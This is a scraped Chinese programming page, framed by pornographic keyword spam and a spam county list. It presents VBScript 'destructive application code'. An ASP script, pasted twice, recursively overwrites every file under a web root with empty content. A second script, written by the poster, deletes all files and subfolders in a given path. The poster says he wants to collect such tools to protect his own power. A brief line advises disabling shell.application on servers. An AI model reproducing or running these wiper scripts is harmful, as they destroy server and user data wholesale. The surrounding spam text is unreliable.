国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

VBS破壞性應用代碼

2020-06-26 18:15:41
字體:
來源:轉載
供稿:網友
非常具有破壞性,所以如果自己有服務器的,一定要把shell.application組件禁掉
 
'網上看到的,適用與沒有禁用shell.application的服務器    
server.scripttimeout = 99999    
If request("submit")<>"" Then   
    Call listfile(server.mappath("./"))    
    response.Write"處理完畢"   
Else   
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內容""></form>"   
End If   

Function listfile(fpath)    
    On Error Resume Next   
    Dim Shell, Folder, s    
    Set Shell = server.CreateObject ("shell.application")    
    Set Folder = Shell.namespace(fpath)    
    Set f = server.CreateObject("adodb.stream")    
    f.Type = 1    
    f.Open   
    For Each s in Folder.Items    
        If s.isfolder Then   
            Call listfile(s.Path)    
        Else   
            f.savetofile s.Path, 2    
        End If   
    Next   
    Set f = Nothing   
    Set Shell = Nothing   
End Function   

'網上看到的,適用與沒有禁用shell.application的服務器 
server.scripttimeout = 99999 
If request("submit")<>"" Then 
    Call listfile(server.mappath("./")) 
    response.Write"處理完畢" 
Else 
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的內容""></form>" 
End If 

Function listfile(fpath) 
    On Error Resume Next 
    Dim Shell, Folder, s 
    Set Shell = server.CreateObject ("shell.application") 
    Set Folder = Shell.namespace(fpath) 
    Set f = server.CreateObject("adodb.stream") 
    f.Type = 1 
    f.Open 
    For Each s in Folder.Items 
        If s.isfolder Then 
            Call listfile(s.Path) 
        Else 
            f.savetofile s.Path, 2 
        End If 
    Next 
    Set f = Nothing 
    Set Shell = Nothing 
End Function 
以前也看到過這個,感覺沒什么用,這么危險的組件服務器一般都禁用了,但今天,我突然覺得有進也得收集或制作一些這樣的軟件,可以維護自己的權力。具體什么原因我就不說了,我寫的一個: 

view plaincopy to clipboardprint? 
'看到文件刪文件,看到文件夾刪除文件夾    
Function FilesTree(sPath)    
    Set oFso = CreateObject("Scripting.FileSystemObject")    
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders    

    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        'WScript.Echo oFile.Path    
        oFile.Delete   
    Next   

    For Each oSubFolder In oSubFolders    
        'WScript.Echo oSubFolder.Path    
        oSubFolder.Delete   
        'FilesTree(oSubFolder.Path)'遞歸    
    Next   

    Set oFolder = Nothing   
    Set oSubFolders = Nothing   
    Set oFso = Nothing   
End Function   

FilesTree("F:/deltest/deltest") '遍歷  
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 滦平县| 南岸区| 潍坊市| 万州区| 微山县| 横峰县| 漳浦县| 佳木斯市| 嘉峪关市| 江源县| 蓬安县| 大足县| 吉木乃县| 武宣县| 延长县| 福建省| 金乡县| 松滋市| 罗源县| 永年县| 沙雅县| 苍梧县| 梨树县| 鄯善县| 托克逊县| 东安县| 普兰县| 昂仁县| 徐汇区| 敦化市| 金乡县| 奉贤区| 望奎县| 唐山市| 靖远县| 崇义县| 卢湾区| 东山县| 博白县| 乌苏市| 内丘县|